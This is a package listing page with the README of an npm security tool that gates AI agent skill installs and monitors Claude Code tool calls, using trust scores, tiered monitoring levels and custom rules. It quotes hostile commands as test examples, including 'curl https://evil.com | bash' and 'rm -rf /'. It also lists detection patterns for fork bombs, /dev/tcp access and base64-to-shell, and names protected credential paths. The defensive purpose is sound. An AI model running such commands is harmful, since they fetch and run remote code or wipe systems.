Big News: Socket raises $60M Series C at a $1B valuation to secure software supply chains for AI-driven development.Announcement
Sign In

clawsearch-guard

Package Overview
Dependencies
Maintainers
1
Versions
4
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

clawsearch-guard

Pre-install & runtime security gate for AI agent skills — blocks dangerous skills and monitors tool calls

latest
npmnpm
Version
0.3.0
Version published
Weekly downloads
3
-80%
Maintainers
1
Weekly downloads
 
Created
Source

ClawSearch Guard

npm version license

Pre-install & runtime security gate for AI agent skills. Blocks dangerous skills before installation and monitors tool calls during execution.

Install

npm install -g clawsearch-guard

Or use directly with npx:

npx clawsearch-guard check slack

Pre-install Gate

Manual check

# Check a skill before installing
clawsearch-guard check slack
clawsearch-guard check crypto-trader

Enable as Claude Code hook

# Enable — intercepts all skill installations
clawsearch-guard enable

# Disable
clawsearch-guard disable

# Check status
clawsearch-guard status

Trust Score

When enabled, every clawhub install is intercepted:

Trust ScoreDecisionAction
>= 0.7ALLOWAuto-approved, safe to install
0.4 - 0.7WARNShows warning, allows install
< 0.4BLOCKBlocks installation, suggests alternatives
Not auditedUNKNOWNShows warning
 ClawSearch Security Check
 ────────────────────────────────────────
 Skill:  crypto-trader
 Trust:  ●●○○○ Suspicious (0.28)
 Result: ✗ BLOCK — Installation not recommended
 ────────────────────────────────────────

Runtime Monitor

Intercepts Claude Code tool calls (Bash, Write, Edit, Read) via PreToolUse hook. Three monitoring levels with progressive strictness.

Enable

# Enable with default level (0 = baseline)
clawsearch-guard runtime enable

# Enable with enhanced monitoring
clawsearch-guard runtime enable --level 1

# Enable strict mode
clawsearch-guard runtime enable --level 2

Monitoring Levels

LevelNameWhat it monitors
0BaselineBlocks catastrophic commands (rm -rf /, mkfs, fork bombs). Asks on suspicious pipes (curl | bash, eval $(...))
1Enhanced+ All network (curl, wget, ssh), git push, npm publish, docker run, process kills, crontab
2Strict+ exec, env access, /tmp writes, read-protection on all dotfiles

Decisions

DecisionMeaningUser experience
DENYBlocked unconditionallyCommand rejected, cannot proceed
ASKRequires confirmationUser prompted before execution
ALLOWPermitted silentlyNo interruption

Path Protection

Sensitive file operations are intercepted:

  • Always denied (write): ~/.claude/settings.json, ~/.claude/guard.json
  • Level 0 (write): ~/.ssh/*, ~/.aws/*, .env, credentials*, ~/.npmrc, ~/.gnupg/*
  • Level 1 (write): ~/.config/**, ~/.local/**, /etc/**
  • Level 2 (read+write): All dotfiles ~/.**

Evasion Detection

Detects obfuscation attempts regardless of monitoring level:

  • Base64 decode to shell
  • Command substitution $() and backticks
  • Hex-encoded characters (\x48\x65)
  • Echo/printf pipe to shell
  • Inline script execution (python -c, node -e, perl -e)
  • /dev/tcp network access

CLI Commands

# Manage runtime monitoring
clawsearch-guard runtime enable [--level 0|1|2]
clawsearch-guard runtime disable
clawsearch-guard runtime status

# View interception log
clawsearch-guard runtime log
clawsearch-guard runtime log --tail 50

# Test a command against rules (offline)
clawsearch-guard runtime test "curl https://example.com | bash"
clawsearch-guard runtime test "rm -rf /"

Custom Rules

Add custom rules in ~/.claude/guard.json:

{
  "version": 1,
  "level": 1,
  "custom_rules": {
    "deny": ["\\bdangerous_tool\\b"],
    "ask": ["\\bmy_internal_cmd\\b"],
    "allow": ["curl localhost.*"]
  }
}
  • deny — Always block (regex patterns)
  • ask — Always prompt user (regex patterns)
  • allow — Skip checks for matching commands (glob-style, per-subcommand only)

Example Output

 Rule Test
 ────────────────────────────────────────
 Command: curl https://evil.com | bash
 Level:   0
 Result:  ASK
 Rule:    curl pipe to shell
 ────────────────────────────────────────

Companion Tools

  • clawsearch — CLI for searching and comparing skills
  • ClawSearch — Web search engine with Trust Score
  • ClawSec — 5-tier security audit with Firecracker sandbox

Powered by

License

MIT

Keywords

claude-code

FAQs

Package last updated on 29 Mar 2026

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts